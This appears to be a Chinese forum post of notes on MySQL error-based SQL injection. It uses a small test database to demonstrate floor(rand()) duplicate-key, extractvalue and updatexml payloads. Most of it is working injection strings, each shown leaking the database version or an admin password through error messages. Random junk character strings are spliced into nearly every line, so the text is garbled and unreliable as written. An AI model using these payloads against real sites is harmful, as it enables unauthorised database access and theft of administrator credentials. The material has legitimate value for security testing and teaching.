放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
, L/ [8 p: H7 P1 e实际测试环境:4 z4 V3 k1 n: h; E# C+ m) i
. u3 ~" @: @8 N2 T0 b
- {/ I* u& r7 N$ }/ wmysql> show tables;
: G! |" m: H! {7 T+----------------+
6 C1 |& @; L+ B& U4 l| Tables_in_test |
1 }* q( C+ I+ n! o) s7 f+----------------+
5 M; U# _1 m6 {| admin |
9 W: Z6 G" O$ |. ]| article |
, V3 g8 d4 q- `5 p+----------------+
0 P# _# w: N7 g( j
; q9 w5 f* H% M# N
5 S, I R5 K1 H" @& q! V ! b- |. p3 N( l0 Q
mysql> describe admin;1 P$ B2 z9 h( |8 c7 a0 a. @
+-------+------------------+------+-----+---------+----------------+
; e* M0 t6 i; g8 N! I/ B7 w| Field | Type | Null | Key | Default | Extra |
4 O( ~) ~* b. ?3 ^+-------+------------------+------+-----+---------+----------------+( P' @3 L5 J7 q8 {( l- k$ H) T
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
* [6 f4 z( V/ k| user | varchar(50) | NO | | NULL | |
0 X' @3 ^* ~: Y| pass | varchar(50) | NO | | NULL | |1 r; {# I) e% ` A
+-------+------------------+------+-----+---------+----------------+
# a9 ?% {' u& j) i6 Z # a# h& Y5 {8 { d
# p( |2 J) J3 V4 B5 }9 W" Y
5 s# y9 x; s! q: omysql> describe article;6 n( G9 O; i) q/ N6 | V) _1 z
+---------+------------------+------+-----+---------+----------------+
! f) y H& g, ]2 n| Field | Type | Null | Key | Default | Extra |$ x. ?+ M1 u; U6 A
+---------+------------------+------+-----+---------+----------------+
1 y" s' c+ g. a) C# T' Z+ \- s| id | int(10) unsigned | NO | PRI | NULL | auto_increment |# k( W2 t, S' @2 r8 j$ I! O6 I
| title | varchar(50) | NO | | NULL | |, P! ~* ~) H4 _& B" @3 Q) x! z7 t: J- w
| content | varchar(50) | NO | | NULL | |
/ @$ [* Z3 K5 g+ x3 ]( W0 W+---------+------------------+------+-----+---------+----------------+
" i. R$ `9 j9 y+ C) j, g/ I1 N1、通过floor报错3 s) w5 x6 D6 W2 [ `3 g, A
可以通过如下一些利用代码; \2 H2 I1 [8 p; {
5 j: r6 r" O" H8 T2 u4 J * m x. @. b7 b* M
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x0 V& |7 M% ]1 u& U
from information_schema.tables group by x)a);; G. x% c8 j& g* |+ ^
2 B- l5 }9 y2 A/ a/ A
! ~; o: I! n/ O# `" v# x5 kand (select count(*) from (select 1 union select null union select !1)x: a& A: k! G6 C* V! D& H$ V
group by concat((select table_name from information_schema.tables limit 1),
3 a# \$ l u/ a9 nfloor(rand(0)*2)));2 L* o/ E" D; x1 b
举例如下:8 ~0 |6 o1 D$ c9 ^9 p
首先进行正常查询:$ y0 d+ [6 j7 C' f
& I8 j1 N3 R/ Mmysql> select * from article where id = 1;6 i+ {3 \6 r+ i& [' b' h
+----+-------+---------+
1 b }) {. T" g% d& t! U/ {| id | title | content |
5 X$ y& ~' j, f) d+ H# [+----+-------+---------+
+ L( j5 P. ~( S: O7 w, N| 1 | test | do it |" {: s( y. d5 M8 R* F
+----+-------+---------+
# Q9 p5 Y, X0 f$ z" ?) W假如id输入存在注入的话,可以通过如下语句进行报错。
! [" n1 X+ Y- q9 h$ s2 g( ` 7 c1 I; e# x5 z+ v
: S/ L7 \) R9 n' H& l+ Q4 N
mysql> select * from article where id = 1 and (select 1 from% a1 {/ p+ n* [3 o
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); `' N/ V8 e7 |8 Y6 N, p
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'1 ?& k" Y' y. m0 B2 [; t
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。2 K' H- B3 X3 t; w: C
例如我们需要查询管理员用户名和密码:) C9 C4 m) t' i! y- o
Method1:
9 E7 M7 }, D& ^: O- k- C ( M, C# |9 ]& V
% c$ ] |* o. Z& Q! A! T
mysql> select * from article where id = 1 and (select 1 from( R) A# A; ]7 P
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x, j0 h6 l, B+ a& h) d% P Z- m) U
from information_schema.tables group by x)a);6 q+ P& n" z9 v) u' t
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% U+ Y. G; S& a' mMethod2:7 T g% ^4 [8 ?) b0 d* |, B* D
0 f( N& d3 _( T6 t6 ^4 j
- ]: Q. a5 k7 E2 f: S1 w# zmysql> select * from article where id = 1 and (select count(*); e- I+ t' x+ Z3 u
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),. t9 I) T+ ~! l0 Y* P3 _8 ?
floor(rand(0)*2)));
2 S3 Z* I; X8 Y: j! cERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'6 E$ |2 M0 H/ D: w# Q5 o# z% \
2、ExtractValue
) W8 w9 g! m' r* p测试语句如下
( P: o1 g" q3 w+ }2 L4 g; x( x" b0 ]: ^. M ! A" w; F1 ~; \; Q5 m. \& y
% s4 x/ Z* m7 Uand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));4 h; Q0 Q/ Q$ Z
实际测试过程
% i) |' U3 L$ S. C; g+ p 0 V4 p. b' i& M
7 n6 X: u+ m& i* E3 zmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
2 ~. F f! C. f% k4 q x2 x(select pass from admin limit 1)));--
; J5 w. d. }; W$ g3 UERROR 1105 (HY000): XPATH syntax error: '\admin888'' l% a2 w& ` M8 |- \9 W( C. i
3、UpdateXml
) n/ l4 j; B: X测试语句% ~1 q& w) {1 G
& p# z. E4 p+ _) q. R0 w; }! f5 n
* A: ^. g2 i6 Y% S1 `$ hand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))$ R$ P- k8 g* V& [$ o: q B3 I! T
实际测试过程# [3 p+ E6 F1 \6 I% o: F
* f* D( F* o/ C$ m
; ]" j F$ l! z `/ {( fmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24," n/ ~# l3 y+ h. A: `1 r# J
(select pass from admin limit 1),0x5e24),1));* R: R7 H. E# u" q; Q
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'1 L2 [8 x' a5 F( [6 d+ s+ m0 Q4 X( o
All, thanks foreign guys.
$ }# Y% @% }% |
$ I0 _2 @1 p; W1 k2 \- A' i
$ f* }7 ^, e0 f% j2 i2 r3 \. E' g) J |